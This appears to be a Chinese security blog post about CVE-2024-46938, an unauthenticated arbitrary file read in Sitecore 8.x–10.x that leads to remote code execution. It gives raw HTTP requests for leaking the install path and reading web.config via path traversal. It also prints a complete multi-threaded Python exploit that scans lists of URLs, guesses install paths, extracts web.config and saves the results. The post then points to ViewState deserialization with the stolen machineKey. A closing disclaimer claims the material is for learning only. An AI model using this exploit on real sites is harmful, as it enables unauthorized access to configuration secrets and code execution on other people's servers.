Sitecore 8.x – 10.x存在命令执行漏洞

Sitecore 8.x – 10.x存在命令执行漏洞

柠檬赏金猎人 2024-11-26 11:39

由于代码中的操作顺序问题,该漏洞可被利用。此漏洞 ( CVE-2024-46938 ) 允许未经身份验证的攻击者从本地系统读取任意文件,包括但不限于web.config文件和 Sitecore 的自动 zip 备份。下载这些文件后,通过利用 .NET ViewState 反序列化即可轻松实现 RCE。

什么是操作顺序错误?

参考以下代码片段:

from werkzeug.utils import secure_filenamefrom enterprise.utils import decrypt_strdef decrypt_value(encrypted_str): return decrypt_str(encrypted_str)@app.route('/upload', methods=['POST'])def upload_file():  file = request.files['file_upload'] encrypted_file_path = request.form['file_path'] file_path = decrypt_value(secure_filename(encrypted_file_path)) file.save(f"/var/www/images/{file_path}")

这是操作顺序错误最基本、最经典的示例。

在上面的例子中,我们可以看到该secure_filename操作不会阻止路径遍历,因为它发生在加密字符串上,该字符串在经过清理后再解密。过滤不会对加密字符串产生影响。

漏洞利用

必须满足一个关键先决条件:知道Sitecore 安装的绝对路径。如果不知道 Sitecore 安装的绝对路径,则无法进行路径遍历,因此无法读取文件。

通过发送以下HTTP请求,可以实现完整路径泄漏:

POST /-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a HTTP/2Host: sitecoresc.dev.localAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 21__PAGESTATE=/../../a/

响应将包含如下错误:

HTTP/2 500 Internal Server ErrorCache-Control: privateContent-Type: text/html; charset=utf-8Accept-Ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-BitnessDate: Fri, 15 Nov 2024 07:24:00 GMTContent-Length: 6786<!DOCTYPE html><html>    <head>        <title>Could not find a part of the path 'C:\inetpub\wwwroot\sitecoresc.dev.local\a\.txt'.</title>

一旦知道绝对路径,就可以发送以下数据包:

GET /-/speak/v1/bundles/bundle.js?f=C:\inetpub\wwwroot\sitecoresc.dev.local\sitecore\shell\client\..\..\..\web.config%23.js HTTP/1.1Host: sitecoresc.dev.localHTTP/2 200 OKCache-Control: public, max-age=0Content-Length: 59741Content-Type: text/javascriptLast-Modified: Mon, 01 Jan 0001 00:00:00 GMTServer: Microsoft-IIS/10.0Accept-Ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Bitness<?xml version="1.0" encoding="utf-8"?><configuration>  <configSections>    <section name="sitecore" type="Sitecore.Configuration.RuleBasedConfigReader, Sitecore.Kernel" />    <section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler, Sitecore.Logging" />    <section name="RetryPolicyConfiguration" type="Microsoft.Practices.EnterpriseLibrary.TransientFaultHandling.Configuration.RetryPolicyConfigurationSettings, Microsoft.Practices.EnterpriseLibrary.TransientFaultHandling.Configuration, Version=6.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="true" />    <section name="configBuilders" type="System.Configuration.ConfigurationBuildersSection, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" restartOnExternalChanges="false" requirePermission="false" />

这种通过制造异常来泄露路径的技术只存在于某些配置中。如果无法通过上述方法泄露路径,则需要猜测绝对路径

使用
下面的漏洞脚本猜测绝对路径和利用:

import argparseimport requestsimport tldextractimport urllib3import refrom tqdm import tqdmfrom concurrent.futures import ThreadPoolExecutor, as_completedfrom datetime import datetimefrom typing import List, Optionalurllib3.disable_warnings()class FileDisclosureScanner:    def __init__(self):        self.results = []        self.fixed_paths = [            r"C:\\inetpub\\wwwroot\\sitecore\\",            r"C:\\inetpub\\wwwroot\\sitecore1\\",            r"C:\\inetpub\\wwwroot\\sxa\\",            r"C:\\inetpub\\wwwroot\\XP0.sc\\",            r"C:\\inetpub\\wwwroot\\Sitecore82\\",            r"C:\\inetpub\\wwwroot\\Sitecore81\\",            r"C:\\inetpub\\wwwroot\\Sitecore81u2\\",            r"C:\\inetpub\\wwwroot\\Sitecore7\\",            r"C:\\inetpub\\wwwroot\\Sitecore8\\",            r"C:\\inetpub\\wwwroot\\Sitecore70\\",            r"C:\\inetpub\\wwwroot\\Sitecore71\\",            r"C:\\inetpub\\wwwroot\\Sitecore72\\",            r"C:\\inetpub\\wwwroot\\Sitecore75\\",            r"C:\\Websites\\spe.dev.local\\",            r"C:\\inetpub\\wwwroot\\SitecoreInstance\\",            r"C:\\inetpub\\wwwroot\\SitecoreSPE_8\\",            r"C:\\inetpub\\wwwroot\\SitecoreSPE_91\\",            r"C:\\inetpub\\wwwroot\\Sitecore9\\",            r"C:\\inetpub\\wwwroot\\sitecore93sc.dev.local\\",            r"C:\\inetpub\\wwwroot\\Sitecore81u3\\",            r"C:\\inetpub\\wwwroot\\sitecore9.sc\\",            r"C:\\inetpub\\wwwroot\\sitecore901xp0.sc\\",            r"C:\\inetpub\\wwwroot\\sitecore9-website\\",            r"C:\\inetpub\\wwwroot\\sitecore93.sc\\",            r"C:\\inetpub\\wwwroot\\SitecoreSite\\",            r"C:\\inetpub\\wwwroot\\sc82\\",            r"C:\\inetpub\\wwwroot\\SX93sc.dev.local\\",            r"C:\\inetpub\\SITECORE.sc\\",            r"C:\\inetpub\\wwwroot\\"        ]            def attempt_absolute_path_leak(self, base_url: str) -> Optional[str]:        """Attempt to discover absolute path through POST request."""        path_discovery_endpoint = f"{base_url}/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a"        headers = {            "Accept": "*/*",            "Accept-Encoding": "gzip, deflate, br",            "Accept-Language": "en-US;q=0.9,en;q=0.8",            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36",            "Connection": "close",            "Cache-Control": "max-age=0",            "Content-Type": "application/x-www-form-urlencoded"        }        data = "__PAGESTATE=/../../x/x"        try:            response = requests.post(path_discovery_endpoint, headers=headers, data=data, verify=False, timeout=5)            if response.status_code == 500:                match = re.search(r"Could not find a part of the path '([^']+)'", response.text)                if match:                    absolute_path = match.group(1)                    print(f"[+] Discovered absolute path for {base_url}: {absolute_path}")                    return absolute_path        except requests.RequestException:            pass        return None    def generate_dynamic_paths(self, base_url: str) -> List[str]:        """Generate dynamic paths based on URL components."""        extracted = tldextract.extract(base_url)        subdomain = extracted.subdomain        domain = extracted.domain        suffix = extracted.suffix        fqdn = f"{subdomain}.{domain}.{suffix}".strip(".")                return [            fr"C:\\inetpub\\{domain}.sc\\",            fr"C:\\inetpub\\{fqdn}.sc\\",            fr"C:\\inetpub\\{subdomain}.sc\\",            fr"C:\\inetpub\\{fqdn}\\",            fr"C:\\inetpub\\{subdomain}\\",            fr"C:\\inetpub\\{domain}\\",            fr"C:\\inetpub\\{domain}.sitecore\\",            fr"C:\\inetpub\\{fqdn}.sitecore\\",            fr"C:\\inetpub\\{subdomain}.sitecore\\",            fr"C:\\inetpub\\{domain}.website\\",            fr"C:\\inetpub\\{fqdn}.website\\",            fr"C:\\inetpub\\{subdomain}.website\\",            fr"C:\\inetpub\\{domain}.dev.local\\",            fr"C:\\inetpub\\{fqdn}.dev.local\\",            fr"C:\\inetpub\\{subdomain}.dev.local\\",            fr"C:\\inetpub\\{domain}sc.dev.local\\",            fr"C:\\inetpub\\{fqdn}sc.dev.local\\",            fr"C:\\inetpub\\{subdomain}sc.dev.local\\"        ]    def send_request(self, base_url: str, path: str, progress_bar: tqdm) -> Optional[dict]:        """Send request to check for vulnerability."""        test_path = f"{path}sitecore\\shell\\client\\..\\..\\..\\web.config%23.js"        payload_url = f"{base_url}/-/speak/v1/bundles/bundle.js?f={test_path}"                try:            response = requests.get(payload_url, verify=False, timeout=5)            if response.status_code == 200 and "<?xml version=" in response.text and "<configuration>" in response.text:                result = {                    "url": base_url,                    "path": path,                    "content": response.text                }                self.results.append(result)                return result        except requests.RequestException:            pass        finally:            progress_bar.update(1)        return None    def process_url(self, base_url: str, progress_bar: tqdm) -> None:        """Process a single URL."""        leaked_path = self.attempt_absolute_path_leak(base_url)                if leaked_path:            leaked_path = leaked_path.replace("x\\x.txt", "")            paths_to_test = [leaked_path] + self.generate_dynamic_paths(base_url)        else:            paths_to_test = self.fixed_paths + self.generate_dynamic_paths(base_url)        with ThreadPoolExecutor(max_workers=5) as executor:            futures = [executor.submit(self.send_request, base_url, path, progress_bar)                       for path in paths_to_test]            for future in as_completed(futures):                future.result()    def save_results(self, output_file: str) -> None:        """Save results to file."""        if self.results:            with open(output_file, "w") as f:                for result in self.results:                    f.write(f"URL: {result['url']}\n")                    f.write(f"Path: {result['path']}\n")                    f.write(f"Extracted File:\n{result['content']}\n\n")    def print_results(self) -> None:        """Print all found results."""        if self.results:            print("\n[+] Successfully exploited CVE-2024-46938 and obtained web.config:")            for result in self.results:                print(f"\nTarget: {result['url']}")                print(f"Local Path: {result['path']}")                print("-" * 50)def main():    parser = argparse.ArgumentParser(description="Test for absolute path disclosure vulnerability.")    parser.add_argument("--baseurl", help="Base URL of the target (e.g., https://example.com)")    parser.add_argument("--inputfile", help="File containing a list of URLs, one per line")    args = parser.parse_args()    urls = []    if args.baseurl:        urls.append(args.baseurl)    elif args.inputfile:        with open(args.inputfile, "r") as file:            urls = [line.strip() for line in file if line.strip()]    else:        parser.error("Either --baseurl or --inputfile must be provided")    scanner = FileDisclosureScanner()    timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")    output_file = f"output-{timestamp}.txt"    # Calculate total requests for progress bar    total_requests = len(urls) * (len(scanner.fixed_paths) + len(scanner.generate_dynamic_paths(urls[0])))    with tqdm(total=total_requests, desc="Scanning", unit="request") as progress_bar:        with ThreadPoolExecutor(max_workers=10) as main_executor:            futures = {main_executor.submit(scanner.process_url, url, progress_bar): url                       for url in urls}            for future in as_completed(futures):                future.result()    if scanner.results:        scanner.save_results(output_file)        print(f"\n[+] Found {len(scanner.results)} vulnerable targets")        print(f"[+] Results saved to: {output_file}")        scanner.print_results()    else:        print("\n[-] No vulnerabilities found")if __name__ == "__main__":    main()

最终,读取machineKey的值通过反序列化执行命令。

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行
承担相应后果,我们将不承担任何法律及连带责任。
“如侵权请私聊公众号删文”。